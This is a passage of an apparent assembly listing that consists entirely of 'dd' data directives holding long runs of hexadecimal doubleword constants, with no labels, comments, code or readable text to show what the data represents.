0A9E9BEA7h, 3513B40h, 279179BFh dd 89ED1855h, 7ED2D8Dh, 6D6B4151h, 5C3740D1h, 0E21DC54Ch dd 0D602085Eh, 649D23CBh, 398EA110h, 4714D5C2h, 3560688Ah dd 0B7258228h, 0B92BC66Ch, 508F00F2h, 0B7959458h, 4F67DB00h dd 0AF631145h, 7E590BCAh, 81D737E1h, 26A9B5BCh, 2BF3D0Ah dd 897DE9A4h, 0DD7BDF46h, 0FCF9D70h, 4390C8A9h, 68DFEC02h dd 0BDDCC6DFh, 5FE29F70h, 348902C4h, 0DEA99BAFh, 3C030A6h dd 832759BDh, 496482E2h, 62A0574Bh, 5BD62569h, 0F80251C6h dd 85A84968h, 57986026h, 1E40921Dh, 0ED9AABB6h, 0D0C0AAEDh dd 9D8CF1AFh, 8D420ADCh, 976FD585h, 291E2AC0h, 45131278h dd 0C10D0F9Dh, 90902D50h, 119A06h, 0D4843FEAh, 0AABB5018h dd 73323079h, 0D8D13490h, 0E0CDBF72h, 88601764h, 0B12D9B41h dd 6376FC61h, 12BABD31h, 95C0B6FFh, 824142CDh, 2AFDCF22h dd 5ACD9520h, 88ABA329h, 0B509890Dh, 0B7136272h, 4625E948h dd 92EEFAFCh, 8015DABEh, 18A06806h, 5360056Dh, 805E5952h dd 0BE88BAB5h, 25405096h, 74912AC9h, 0EA6B3AC4h, 0FB840481h dd 61FE47CFh, 0A6AC3E83h, 2F67ACB4h, 0D7AD928Bh, 3C211D05h dd 0C3C5EFC8h, 0B6AFFC52h, 5FE148A8h, 0B38484E2h, 4E89AC59h dd 5B57AFBh, 75FC30B8h, 0B92DD4A2h, 57163A77h, 5B571698h dd 6AAA5F5Bh, 0F4994B55h, 2C0CEC3Bh, 2102009h, 8B605004h dd 9B90ABD0h, 0E711BD2Bh, 8AC57D7Dh, 6775FFDCh, 320E036Bh dd 0A242FF0Eh, 795F60F2h, 0F910BB8Fh, 8B532620h, 0F0C4F601h dd 0BA54615Bh, 3ADE7BFFh, 0A4B05E70h, 9EEB0DEh, 631C1DCFh dd 15594573h, 17949A18h, 21ADF812h, 18C17ACh, 9FFCD22Dh dd 56B59D2Bh, 0F94E5CC2h, 0E15763EAh, 0C2831F16h, 996888AFh dd 0ED094CEEh, 55D2E2F1h, 62A54C79h, 0F377D49h, 15546101h dd 826F5026h, 5B042198h, 8AC24BB8h, 87AE52F9h, 615E57A2h dd 59EECF5h, 0E3FBE5BBh dd 5E80AC1Fh, 0D8060DEh, 0AFEB768Eh, 0A63A2209h, 26375B0Ch dd 0AAAFBEABh, 20012619h, 968002E6h, 0B39305BBh, 0AF5070F3h dd 8A3D98h, 0A3374469h, 0F87342D2h, 88A7F82h, 8A2DDE40h dd 0E7597Ch, 5F83D559h, 6F7BD9ABh, 57807E99h, 4CA8C124h dd 0F36D0151h, 0C4CD4543h, 25A16C85h, 2F476E5Fh, 1AFB1D11h dd 3FA44A5h, 107870Fh, 80B2BF77h, 5FA77859h, 0B85B6C04h dd 4F40A341h, 0BCB0AD26h, 0CCDA00FEh, 54ABACB5h, 0AAD62FE7h dd 95645397h, 0C6EAE5AEh, 9DFBCC40h, 2951269Dh, 414191D7h dd 2B858960h, 5957EA92h, 3A2F0044h, 6043E021h, 0CC694200h dd 99B79F2h, 5F922FCEh, 292C07F9h, 7BA70BF6h, 0E021412h dd 5B7D2A55h, 8A7B72BBh, 0B4E2CD2Ah, 0D42C5C9Dh, 50C062BEh dd 0D7AE48h, 0CF812DDFh, 1FD3EBA9h, 6525289Eh, 0E75A1735h dd 0D72B0F2h, 47024CF1h, 0E713B912h, 21C44F54h, 0C62D95ACh dd 90D3A353h, 65C4D71Dh, 0FF956AC7h, 0A77A9B69h, 0BCF3F82h dd 0D793E97Ch, 9880B2BDh, 0A0228DF2h, 9C9109D2h, 0F3EDC18Bh dd 429180C1h, 5FD39A86h, 4425A5CCh, 6F83CA9Ah, 2BDF60ACh dd 0DE7FE88Bh, 16EF58C7h, 20AA9084h, 0A0D26941h, 0DC35222Dh dd 6F319CACh, 0CBA0FD44h, 42A20955h, 100DE59h, 994230BEh dd 71BF01DFh, 0F25C7D72h, 637FCE69h, 0F561D8FCh, 95F59EDh dd 0EC14650Bh, 8563B7F7h, 0C56F34B7h, 40BAFD7h, 0CBAC5409h dd 84674EDh, 4F7AB022h, 816D4529h, 5573AB12h, 6DCCD0E3h dd 53DC9F80h, 0EDBB5007h, 904FAF11h, 0D6B85379h, 29BE6E02h dd 92054DBDh, 17E6D6B0h, 59AAAFCh, 0C5FE148Ah, 45E705C7h dd 6FDCA413h, 9D77797Ah, 0F6273396h, 6A0B5591h, 80CDFEB9h dd 54D38027h, 0E2B8D1FFh, 3AF6BF24h, 0EF55F202h, 40215461h dd 5E67F41Dh, 5B5B7B25h, 0F6026432h, 6BBCE0DBh, 69833B5Fh dd 5576816h, 0EB06251Dh, 0E9BEDD20h, 35978CD2h, 7F8B077Ch dd 0FA4F54D4h, 16A24FB6h, 592DA4ECh, 61BF8280h, 71F9772Bh dd 712CF8Eh, 0D6A42064h, 6FE16EB8h, 0D7800014h, 0DC77BE10h dd 54BB6200h, 23EC9877h, 2C1527BDh, 0C10F185Dh, 294008Fh dd 0CA961A2Eh, 80120B6Ah, 0DAAB2AE7h, 3F168A86h, 0FFF05E41h dd 0D91CCD6Bh, 44E5628Ch, 953E3442h, 0C71980D7h, 0FBDB3B86h dd 0BF562650h, 325A0571h, 2EB7E5Fh, 7B9B63DDh, 0FDF1FDE6h dd 0E90BF01h, 6C2E5C18h, 5C0BBBC5h, 5530941Ah, 16450ACDh dd 2C3D7098h, 175E7641h, 0AEDA341Ch, 0A90089F7h, 0E50A315Fh dd 6900E82Ch, 5E36F3CAh, 916E434h, 0FF6A2ADEh, 3BC00CCDh dd 0B82648D8h, 9DD4BD68h, 73FE8A09h, 5C181188h, 35C88094h dd 7E2636Eh, 0A31B611Ch, 0EB8001B0h, 24A02A4Dh, 0EDD2185h dd 0CD642Fh, 2D8E32D9h, 0A1A217C1h, 812C4A65h, 0D1B0A557h dd 83C25D7h, 15D9AEC9h, 0A14B36ACh, 32D77F97h, 56628A94h dd 1AE967C0h, 56941297h, 4236288Eh, 95122217h, 4D00ACD8h dd 0C208153Eh, 74BA764Fh, 0CD443E80h, 0ABB50B13h, 0C1FB8492h dd 0C2F526h, 0B529C82Bh, 0D9457AE5h, 603359Dh, 587CE9D1h dd 0A05A8F67h, 0C6C45001h, 96B8FCFBh, 3C960976h, 937219D3h dd 52F4C0D2h, 0C8F250Fh, 0DA80B0FBh, 43D7A225h, 88584BC9h dd 8989119Eh, 179AA92Bh, 0F1C93AE9h, 0DD2A06EDh, 0F1B531B6h dd 0F5F50223h, 3826453h, 7F174D9Dh, 842DDEC5h, 5E1A225Fh dd 8A5B7109h, 36589290h, 0CDBC395Dh, 48DA3213h, 53AC1E84h dd 0B9D98AC0h, 0E3B40F4Ch, 93804F4h, 0EE8A1C1Dh, 46A54604h dd 0AA4F4EB8h, 0ED25166Eh, 0C6A5BD4h, 73162D09h, 18187122h dd 8F45480Dh, 0AD2CEF7Bh, 0B2D52E27h, 1404C01Bh, 0FC549F92h dd 0BF66B3FCh, 8137031Fh, 0D74DCFEFh, 0B88F7964h, 2550B86Bh dd 0A4FE1701h, 572E1AC9h, 2EE2F5B9h, 3EDA2174h, 89F5A6CBh dd 5B82FF15h, 6FDF08B9h, 901A40BDh, 0B73E0585h, 8C78934Bh dd 24BE2EFEh, 204BE685h, 2B92B750h, 2572958Dh, 36E614Ah dd 3077CA25h, 0BF05715Bh, 1D42E1F4h, 0BF771221h, 18368095h dd 548A5133h, 6991E477h, 0FE4FB38Bh, 2173EBD4h, 0EA9E6650h dd 893750C6h, 94BB26A2h, 0FD8A8EFAh, 0F1E0E169h, 1497FBDDh dd 4163834h, 0BD9FFD4Eh, 9F5EC2Eh, 896FB12Bh, 6B81D6BFh dd 0F9587D54h, 0DCF39503h, 0F871D9D0h, 9197047Fh, 0B8F9BB2Fh dd 2592A266h, 0C233DB60h, 7FB5DEBBh, 3DFFE389h, 2C758308h dd 4A095918h, 0D5F98AD9h, 0DEC600CAh, 8086B838h, 9B54FFB4h dd 9721085Ah, 1705A22h, 9983DD7h, 0E7DEB833h, 344EE52Fh dd 65A6FADFh, 80DDADA4h, 5F12DCABh, 4BCE1260h, 1F94FE89h dd 1D4B2AFh, 0EE3D7FEAh, 7B6E1C49h, 3E98002Ch, 0C7B338BAh dd 0A8B51630h, 0D6414060h, 658D0162h, 5FE70427h, 0C50C1F3Dh dd 17B4F467h, 4D1725Dh, 87558h, 19077D68h, 3090BC44h, 82243444h dd 16DE06EAh, 301BC704h, 23316BFFh, 8CED001Bh, 7988A98Fh dd 0D79C3125h, 3184E43Fh, 0E1E26D5Dh, 0D3C7FC4Ah, 5FFC20BFh dd 17075E9h, 0DC3EF497h, 79EC8A02h, 0D83B30CDh, 919A9401h dd 0BB010508h, 0E1EE200Dh, 0D8332B99h, 8C1D929h, 252E480Ah dd 0AD2D5B2Bh, 0F140B054h, 9E6C1BAh, 2D5BA420h, 572F76F9h dd 0B5C8C298h, 3E805AB5h, 0E843DA2h, 0B85B94EEh, 0B6C1D7D8h dd 25E8E246h, 0D4319761h, 7D801210h, 6A001FCCh, 113B6469h dd 2430D219h, 98A0689h, 0C1140E6Dh, 0EAFC015Eh, 0F9D3B092h dd 502FAEBCh, 5731032Bh, 0EC4F15BFh, 0DA7F5FB2h, 9932A05Fh dd 715627D2h, 0B7C2D1FCh, 0D19455FAh, 211A5888h, 74EB405Eh dd 2796F978h, 40B11250h, 4A784B85h, 21F0B5D5h, 0D3FC7F61h dd 8594F8CCh, 0FF1B212Dh, 4D95E2B8h, 0BA530844h, 0E55B6026h dd 0DB1151BFh, 0FEEA3C6Fh, 3DC86D1Dh, 16909F60h, 0D751CC8Ah dd 0B7D49D0Bh, 1735DF52h, 0B62D30A7h, 0A902EBE8h, 0BE015055h dd 5595DC43h, 0BB517984h, 0ECA59544h, 31B398B8h, 2B2569D1h dd 952FB039h, 0ED6FF0h, 60B4CF52h, 0BFA9B52Bh, 68B963C8h dd 74618B2Fh, 8D294185h, 84104595h, 0EEA3AC76h, 0A8AEBD92h dd 5F6D704Ch, 6152BF69h, 0ECCEDB05h, 0C9C1A89Bh, 2A895658h dd 0FC9057ABh, 45EB134h, 20A3E09h, 4979FA15h, 19D21547h dd 8093FB16h, 3F3CB81h, 0C09C2C64h, 0AAC81340h, 2E5C00F9h dd 0C005740Ch, 3E0A94CBh, 9E68151Eh, 4EA5325h, 3902C1BDh dd 0F5A03676h, 880166E7h, 6B50588Ch, 322E7FE3h, 0A9F052B6h dd 5B6A790Ah, 0BD09B996h, 0D2F57FBh, 803E602Eh, 937FE82h dd 614F5F51h, 1C56888h, 0FFD1AC5Bh, 2ED3A6EBh, 0DB5F36F8h dd 0C017883Ch, 0FA69F80Dh, 193594C4h, 6BD6D1B9h, 19B50048h dd 0B4EA17Eh, 74BF16BCh, 0A243888Eh, 1EB04800h, 83E3CFD7h dd 22FF2CDh, 0D2808702h, 0CFEA90B1h, 0A7CE1FA8h, 473DDDh dd 67D87023h, 0B0A38E2h, 0AD062E76h, 9FC65B60h, 661200EDh dd 0A7781D0Dh, 5CB5266Ah, 0DE96D423h, 0D3C079C7h, 4A1E513Eh dd 0A734AF5Eh, 49F81513h, 0A61383C0h, 6EFEBD4Bh, 62340C01h dd 6027C68h, 1F5DC82Ah, 23934000h, 0E1D15618h, 44AC0280h dd 0A1DAA5C8h, 5B6788FCh, 0D6DCD41Bh, 78181646h, 5BD487Ah dd 35AE0E5Ah, 0C0DF9A2Eh, 0B335171Ah, 38B01632h, 0F2600EE9h dd 64089726h, 0C2A5D5BCh, 0ECB75534h, 74FFF313h, 4D6AAF75h dd 7762DD01h, 2F6B0EE6h, 0DE8A3F31h, 9C6D52A7h, 0B05934C0h dd 0BACF699h dd 6FB4F653h, 16550C5Eh, 5056BB7Ah, 9D8239A9h, 96002BADh dd 1D44BB50h, 0E51BFE80h, 45006037h, 0B8641871h, 9F5BA41Fh dd 0D689E27Bh, 3FB57FE6h, 22821491h, 47DFC8Ah, 38AE26B0h dd 96891772h, 9F088BDCh, 0FBBAC093h, 26BCB85Eh, 910B2996h dd 51CD552Fh, 0E6234CCBh, 12E7F2ACh, 47E9B589h, 8B60528Bh dd 5D273C51h, 2A610711h, 0BF02CEA6h, 5DDB30CCh, 0CE5FA4BAh dd 0CC90B725h, 673D60CEh, 5FA580BAh, 7BEB821Dh, 85012596h dd 5BD304F5h, 63A2D0B8h, 0F1B98529h, 88FEC852h, 5C9DF8E8h dd 3E9CD4C9h, 1506E7C0h, 6F3701E0h, 4AB7F6E6h, 0E80C69C6h dd 0B83C00F7h, 7CEF1687h, 7209BF5Bh, 55269360h, 1791AC3Dh dd 0F065148Fh, 0EB20CCE5h, 0A700DC7Dh, 256D5BE4h, 361A1BBh dd 0BE3779A6h, 0BF9CFE2Eh, 5B8B85C8h, 0E091E6C1h, 2DFCB79h dd 58265CF1h, 1B40101Ah, 5C970B61h, 0DBDE1FDh, 3FBF101Bh dd 544627EDh, 6D72A2DFh, 9253D513h, 6742F9D8h, 0DAA96A48h dd 23863026h, 0BF0EC24h, 34B1DFCh, 1688A09Ah, 0D3C473C0h dd 0E1952489h, 60908499h, 0DD33AA50h, 90E425Bh, 0C45F086Bh dd 2C7C3E72h, 0A549F980h, 73A7B781h, 6AFCF03h, 185B892Dh dd 5A506134h, 0F74E8A52h, 82C871A4h, 0AA61DC04h, 75C00FDBh dd 5CA2C87Bh, 4C8B7C97h, 0EB07814Ch, 6544199Ah, 0E0E34D8Bh dd 3980F4A8h, 0F7D86002h, 5CE2B70Dh, 8D0963EEh, 0C87369FFh dd 23B98FB5h, 696DD12Fh, 0E8AA01C0h, 912F04C7h, 0C2649A57h dd 0BB5CD849h, 0EC148C51h, 0F9020AC0h, 8E96DB90h, 3BB0530h dd 40C0A36Fh, 0D1D8C21Ch, 0CE49D40Fh, 3EF11C69h, 2A986503h dd 0B4FDE0DAh, 3931026Ch, 29018187h, 100B0649h, 0BF24C5h dd 60862A2Ch, 3F4F01AFh, 5FC461EAh, 20BFF990h, 0C215D889h dd 31321A00h, 0F2A4C987h, 2CA82F21h, 0D2B82B46h, 5BBAA016h dd 64BCA664h, 9133D880h, 9D016293h, 58BD2778h, 0B26B8D7Bh dd 5FF80241h, 5C0F42E9h, 242D58BEh, 0B8D13782h, 190EC403h dd 52E98521h, 0AFAD6EE7h, 0C2E11AA8h, 0E0FA4E10h, 0FBC22DBCh dd 3EE9BBC1h, 354FAC52h, 147D4729h, 9AAB53AFh, 64E6D35Dh dd 0AF380E16h, 5684E413h, 88829BBFh, 0F45AC017h, 5E95C24Ah dd 73B3D49Ch, 1B517280h, 2707E373h, 0FD90FF6Ah, 6B16B8E0h dd 0DB05C04Bh, 4EF7017Dh, 0A6BDFDA0h, 28764D01h, 2D37FED9h dd 0F1CC202Bh, 990AD13Eh, 0CA5382CCh, 0C2B7508h, 0A5105F5Bh dd 852A0741h, 0CA2AA9Ah, 55624088h, 0D1121Ch, 0EFB85400h dd 1EABEEh, 45C7AE78h, 6A184759h, 0D698B100h, 70E63420h dd 0B59D120Bh, 0BBC2E405h, 0A5A92F39h, 0D0B2577Ah, 0F040D4DCh dd 12D9A1C3h, 0E108F255h, 1F653FB3h, 0AA60C4BFh, 4F104C99h dd 0F89E4Dh, 8901E160h, 0BDDC0C76h, 0BFB08F00h, 7A0B3CD8h dd 79E898ECh, 957C7F66h, 8971FC10h, 49BF064Bh, 0DD70F266h dd 4FD0095Ch, 0F9D479F8h, 86AFF301h, 2150C82Bh, 7B7E3176h dd 9427FCh, 918A7C80h, 0D2F5BAA4h, 63257366h, 55CCC021h dd 0B9495047h, 365E972Dh, 27DBF949h, 0CE9DCFEh, 25DB8417h dd 0DDC926A0h, 7BCA7103h, 5588055Dh, 0D2611D09h, 62D3E7F9h dd 226F170h, 0B09844E9h, 3B970701h, 5CFEB2D3h, 532D44CEh dd 2359CC05h, 0AB2374FAh, 0E2BA6774h, 0E8B73E10h, 0F62F7C38h dd 0B8321228h, 0A18FA167h, 495FAA06h, 7C10AC26h, 5565B515h dd 404A4DA7h, 61257305h, 8A204209h, 0E3DB98FDh, 754B3C7Eh dd 78251881h, 0E4041E1Fh, 0D009372Bh, 4016883h, 5F01159Eh dd 0C20EF7B9h, 70CE53D5h, 0FA00F6E1h, 0C1CAA718h, 97548796h dd 187F0489h, 0CC781A9h, 77B34CC9h, 0DE13BF1Ah, 89AEC02Bh dd 2FD2E193h, 0D502466Eh, 0DE2F0EE2h, 28F7D97Dh, 26CD2DE5h dd 0BDE73C55h, 29582853h, 2F48987Eh, 377D05F5h, 679289h dd 97EE6303h, 2B97E0F6h, 0DE8A56ECh, 2632A10Bh, 9B5D4F5h dd 8AE64476h, 68E77C95h, 0D1516BCEh, 95F466A5h, 592E5164h dd 0D104CD72h, 0B1BB43B6h, 41B82E45h, 0A09101EFh, 0E7BC936Bh dd 957506E4h, 0C0004DB7h, 0B12EBBCCh, 0C85C5E94h, 5E124120h dd 0C9FFD12Dh, 5945426Ah, 0E6F459DDh, 67B33DA4h, 0E8DFF07Bh dd 353C00A2h, 293E77CAh, 679CD19Dh, 1AFC4127h, 0E410B66Ah dd 0B78F39BDh, 0B57F4AE9h, 801691FDh, 2352496Ch, 0F0554D9Dh dd 0CD6FAA5Eh, 0B069BB14h, 8A89AC4Ch, 9D9C5D5h, 0B6D6047Ch dd 8BDE09F4h, 0B0443B7Dh, 5E332F00h, 0F109F4EFh, 0D24502C6h dd 18DC3984h, 58504A5Eh, 0E1BDB704h, 7C0A5E00h, 752BC7A4h dd 0BB9F3893h, 591DB58Bh, 76C0475h, 3A2C8EEAh, 0F03C56E6h dd 912BDDh, 4AE749DBh, 42BB6073h, 36D0CC01h, 2BED9D89h dd 51F78000h, 0DC465CBDh, 968D6E4Eh, 82FD5744h, 8D8E854Bh dd 8EA83F65h, 9400843Eh, 5D3CA49h, 0E90F53F5h, 0E995878Dh dd 4B807814h, 0F472D2FCh, 0E0D88853h, 0A80550A3h, 4178A2BDh dd 56EE796Ah, 644152B9h, 0B9BC2E27h, 0A092B6A4h, 3EF3B2h dd 80BF20E3h, 0F532B376h, 5B21504Fh, 3F090D21h, 0C1B5B4D1h dd 68025C68h, 74DB4C03h, 5CAA9A55h, 4FFC0728h, 0F936DCC4h dd 0C5251798h, 69F7511Ch, 2C50D97Bh, 0EC8E0EE3h, 9CD438FDh dd 14557E69h, 29B511C4h, 0A536210Eh, 35098435h, 2541D8B9h dd 0F6C219CAh, 0D0C7D377h, 71F4013h, 4F7B2660h, 4A2862B0h dd 0ACB9AD30h, 35008C1Ch, 88B17AAEh, 9056811h, 0BDDF80BCh dd 0FC970D78h, 0A206F4DAh, 0F427C9D8h, 0DB8105B0h, 0F25BAF5Eh dd 167400D0h, 21F815AEh, 0B1304B6h, 0BCA2D2C3h, 689C53Dh dd 90B8EBBDh, 5DF5FA25h, 1D15C935h, 933480E6h, 1CF66AD7h dd 0D39EB87Dh, 0F5EF04D0h, 9665BC0Bh, 9CE033B6h, 492D6616h dd 84905784h, 0E5006CC8h, 0C5D0695Eh, 47F5B2Eh, 6160C164h dd 94F250h, 3F72CB36h, 2CDB45Ch, 4CEEF6BDh, 96FC5B53h dd 0E1E758ADh, 0B84EA26Ah, 17080030h, 1C68C6B7h, 140B81A5h dd 0A63E5BFh, 0E387E4EDh, 4DC99EA6h, 5E5C0F4h, 5224FCD7h dd 0F8601407h, 0B63133h, 0EA1618E3h, 0AAA83F9Eh, 80BE9897h dd 89425FC7h, 0B89BD8FAh, 0DB469C27h, 0FA0E0101h, 3B5090C0h dd 58EC408Dh, 379E0172h, 85C2AECDh, 0B2F6C7Fh, 0FD5B93BFh dd 90DA3268h, 0B84AFC4Dh, 56BD8C1Dh, 97378077h, 612CE819h dd 6D091998h, 182AB52Dh, 4F80D609h, 0B820BE4Bh, 4A4C64DCh dd 0D653F34Dh, 77A0F2B6h, 824AD3D9h, 0B7844CF6h, 0BCE2FAC5h dd 2CC19508h, 55D86977h, 0E9988998h, 511C052Eh, 4DFE973h dd 0E640DF1Eh, 4B97E92Dh, 0DF7F25BCh, 170756F9h, 9FE06530h dd 1192DD6h, 64601586h, 20FFC980h, 3AEEE2DCh, 9595C2A5h dd 38E84Ah, 0FF3D9687h, 0DFDCBA7h, 848B0F79h, 1AAC33BDh dd 0E7420E8Ch, 0D37DFF7Dh, 213A4BA0h, 0BD131655h, 9640C5CDh dd 0BFE301FBh, 0B0029746h, 0B237CD36h, 0D6225E5Bh, 3A001B46h dd 71108F1Dh, 0F15A2BFDh, 0A8F73623h, 9F5D102h, 0D7ECD87h dd 2A6FC79h, 12326908h, 5020AF96h, 1E0340AFh, 80F61DABh dd 2B6D59FBh, 0BB71FD81h, 0C6A1F909h, 900BF24Bh, 8DA72F31h dd 6377A629h, 64BBE04Dh, 97A7BC12h, 7E6F96h, 220CDC6Dh dd 1666EC69h, 0C872D380h, 20066A47h, 4CB5078h, 6B89258Ah dd 442576D3h, 15EE54h, 3D66021Ch, 9768030Fh, 92DC013h dd 5F3992EFh, 518F7B7Dh, 27261Ch, 85B5179Ah, 256390A8h dd 0E544F85Ch, 6024DEB7h dd 47894075h, 2C4EC801h, 58870A0Bh, 0B7670925h, 0B2C23DE0h dd 0D0D13702h, 6233365Dh, 9F137012h, 0F75A76FBh, 420479F3h dd 81B8495Ah, 0AE1C3112h, 6A3A302Dh, 8CFF4AFEh, 0AC2EB229h dd 950BC0BFh, 69355522h, 802F1594h, 0F98BE6B3h, 0B6C24E83h dd 9F82F155h, 587A2823h, 2D00A2D6h, 35AF5433h, 990511BBh dd 28219529h, 5A94B2FAh, 0FB4BB387h, 0C0911E44h, 674C1612h dd 0FD250866h, 0F535DD3Ch, 4EEEEC25h, 560B8C11h, 0B42FC590h dd 0ADFEF09Ah, 1D2CE06Ah, 3C01AD01h, 4A55610Eh, 762CDD8Ah dd 18B8C049h, 3025398Ch, 0FBF06193h, 604B156Bh, 0AEF7632Fh dd 0CA271D94h, 139D6DEh, 0B50213F1h, 0C3042B8Dh, 8DBACA8Bh dd 11D02ED9h, 9CF8157h, 6A74ACF4h, 0EF7727A9h, 0D0326296h dd 0D6E93B74h, 9C01D468h, 4FF5A9F2h, 283A03E3h, 539D4A39h dd 0B81AD8E7h, 7BD4450Bh, 0D78BF596h, 61E037DCh, 6F45553h dd 0D77AFCBFh, 14E1284Bh, 0B40708C4h, 0CE21D38Bh, 0BB409661h dd 0AC9755E3h, 8CF54EA2h, 885F0F38h, 48EA4156h, 0D32503B2h dd 0DABF0106h, 3A609F88h, 0ECE94333h, 0A36CDE40h, 149D8631h dd 81454435h, 27B4EF04h, 0B3AB77D8h, 41BB07B8h, 0F509C6A5h dd 0BC8052B7h, 0D3DFBF51h, 5F2F2498h, 92B60F3h, 0F73EB93Eh dd 0C8A49234h, 52E0F0BCh, 210157BFh, 0E95B77D6h, 8B7CF20Bh dd 3145EA5Bh, 0F0FC890Fh, 1E472FA0h, 5640BC03h, 0B8549449h dd 35B4853h, 0B0FB5C1h, 0BAB48BEFh, 0D905516Fh, 879723A0h dd 92EE56B1h, 0EEE1115Bh, 8075F37Eh, 5BFF01BFh, 314100FEh dd 7F89A874h, 71F9E42h, 3985AF3Eh, 0E8F8D255h, 81F00E06h dd 30ED3DEAh, 894814D2h, 0E7D14599h, 8E8199FFh, 0E5EC3410h dd 61DB2A50h, 586EC84Ah, 1AC22B34h, 1192F87h, 5A4D384Ah dd 7612BA91h, 3C50B701h, 3A81D003h, 199445D9h, 2D8EE484h dd 0D9E9100Ch, 0C8592095h, 929D8589h, 400319C5h, 88064F3Ch dd 1E27E5C2h, 12627D8Bh, 4D0F1CFDh, 1C865BF8h, 20D1030Ch dd 4D16C937h, 771208B6h, 8F648041h, 83851891h, 0E6A204C4h dd 18B5116h, 0A98110DCh, 0B51446B0h, 0C0335909h, 18F07C3h dd 241C9969h, 4FFCAE14h, 585F68C9h, 347D9558h, 4029A324h dd 65698208h, 0CCD3EB23h, 0F5189DD1h, 0B89A2DDBh, 45330B32h dd 0E6DF5B68h, 0F6B70293h, 5C85C381h, 0CDA930F5h, 20870E62h dd 0E68248BFh, 0EB70F668h, 80566038h, 0D7815E5Ah, 2F78C20Ah dd 0DF606167h, 337FFFC7h, 0A1B86609h, 913000D8h, 0B7014D64h dd 0D7AD1AD9h, 4535B910h, 96E1CF01h, 748A71E7h, 0EEA5C81h dd 0D82EB842h, 3B905CF2h, 4C605A25h, 0B6D00098h, 5133DF92h dd 614C5BF8h, 8FF91267h, 0EB9B90EAh, 2FE34B02h, 49C5CCh dd 72C8AB10h, 8318F9AEh, 65093AFFh, 5232259Ch, 608000ECh dd 0EBD71A29h, 0F7F0800Eh, 19702058h, 34F9FE9h, 0AE8A65A1h dd 0FBA03BBDh, 31001BA5h, 36C24B3Eh, 66BAA217h, 2128084Eh dd 3E397C01h, 63D2D91Dh, 0D7AED0h, 8535BF1Bh, 7C1B48Ah dd 0D882E800h, 0F9E9768Fh, 0A15A1281h, 9E1D0CF8h, 4560D718h dd 66A5D570h, 0C0FE74E2h, 0FC491B10h, 3A067437h, 627C8E17h dd 21E56008h, 29FC50B8h, 0D9114003h, 10793316h, 689A6458h dd 6B112CA0h, 32FC4E80h, 876274h, 0B6FC55BBh, 0E90040BAh dd 0C448EBA1h, 37F142B3h, 0E0C082F5h, 2A1992DCh, 111FAE7Ch dd 0A02A98FEh, 3502AA46h, 56C2473Eh, 78102631h, 0BB1E3E3Dh dd 0A61E60A0h, 0BEE57740h, 0F83B0135h, 7EB0C6h, 3236221Ch dd 49C83147h, 0CD38BD00h, 0D1FB350Fh, 0BA8101C4h, 42F6ED4h dd 0C0F3F0ECh, 38314C00h, 0B47B44C8h, 0CCDA00F1h, 0BCD4E7EBh dd 6B78CDCAh, 3BCBD800h, 89413E84h, 8340037h, 0DF674425h dd 0A1015D73h, 951D5F43h, 90E84F16h, 4E6D3FEEh, 0FD1BAA00h dd 0A98F638Dh, 70911500h, 1E758B18h, 0EFA803F7h, 0BC72B8CEh dd 5896DAC0h, 5690E300h, 0D57EBD7Fh, 0FFAE00B4h, 0FBBE7AD7h dd 0B7001E6Bh, 38EBB2EFh, 4945F08h, 0BF62801Bh, 0BE6F8076h dd 0AC4883CFh, 435A0081h, 4B7FE3CBh, 60E47403h, 0F48521B2h dd 21005302h, 0BFB12A37h, 0C94CEAh, 4686A709h, 66B03A43h dd 0A1C1E500h, 4083F30Eh, 0FBB8FCh, 0BF5AE7C0h, 0F4CC2DCFh dd 6F86273Ah, 806EC058h, 0C580CA9h, 8804C3A3h, 21C09C08h dd 0B0807641h, 38153AECh, 0A435603h, 68186174h, 73298824h dd 0CDED0030h, 699F2C63h, 601E490h, 42055862h, 30B68734h dd 0A57430C8h, 0C2577618h, 759EF11h, 2F44ED09h, 3F4CB3A8h dd 21E80830h, 38095181h, 0F100E1B0h, 78C0AEE9h, 0AC2A8C86h dd 341390B8h, 0DF0030AAh, 0E5598AA8h, 11D90F5h, 80DD456Fh dd 0E44B2A8Eh, 0D900E216h, 0CFD8C6A2h, 0C7BFE456h, 0B0AA9E99h dd 5FAB3670h, 0E63DC83Dh, 21A508h, 9BC672FFh, 0D86C6D7Ch dd 10CEAF1Eh, 0E82690CAh, 0EC807191h, 0D3435902h, 0F5860087h dd 0A697DC02h, 0A97A2E01h, 0D40D10A2h, 36BA9883h, 0A813B5AAh dd 3E1E0F37h, 3919B080h, 2FA2Ah, 0B3AF0A85h, 4E755CFBh dd 36A93700h, 2D6C71C1h, 8BD400F7h, 3C2E65A6h, 0E0003AFEh dd 6DC36856h, 0FABBAAE8h, 8D6600CEh, 87906BC5h, 5D788373h dd 0A5464C00h, 0FED06115h, 0E27D5Eh, 0A09BC326h, 0DC55BFBEh dd 4C3AF200h, 3CC8F697h, 0C820046h, 5EBA3E4Bh, 8D074AA6h dd 48F54C90h, 7C86D800h, 0E4420030h, 0B3FB73B2h, 0C8398E1Dh dd 0BD6000DAh, 0D789D1Bh, 85C500F5h, 0FB2E6F05h, 4D00D5F0h dd 0E703F1E5h, 8BEBB9h, 0F7CDD0E0h, 47D2BBEAh, 2C0C7407h dd 3F40A49Bh, 12B57B48h, 0F1B7E3Eh, 0D7A0613Bh, 23BBA3E6h dd 2B48BE06h, 3182C49h, 0BFECC491h, 54D14436h, 0ADDEE095h dd 0CD0C3378h, 280E0DF3h, 3F4A180Ch, 8923619Fh, 40915602h dd 0C036EF09h, 2641221h, 2F59DC9Bh, 4400FBBh, 3E00A34Fh dd 43B6A448h, 0A1011B37h, 0D0F7CB14h, 6BF6AC3h, 0CAB40BD4h dd 0C51F78ACh, 925A1B64h, 661C18D1h, 8819C69Ah, 4C50C0D4h dd 0F86444ACh, 48205C98h, 97EDF5CBh, 851A87C0h, 115C1521h dd 0C5D900AEh, 0ECA3D763h, 812D01EDh, 35649D47h, 0C208E3Dh dd 0CE250CFFh, 391B00B9h, 0F731495Ah, 0B30C4587h, 0B1A26814h dd 960A009Dh, 0FC42C832h, 0E63A57C5h, 0D5091FDCh, 685145D8h dd 5131CF4Dh, 0DFBDD247h, 5BC21B80h, 5A070B31h, 0F754A5F5h dd 7F0FED01h, 1527891h, 0D2E6808Fh, 6360F7ABh, 0F3A0A008h dd 0CC91882Fh, 987FA728h, 20261067h, 805B8D60h, 0FD9A0063h dd 876C7841h, 0EF0C4C82h, 7959C41Bh, 0EC2B1437h, 88222417h dd 8761A500h, 542DBF68h, 0C1B76067h, 0E2B0DF80h, 33A5B30Fh dd 0E85A073h, 2A4FB64Eh, 0B03F17h, 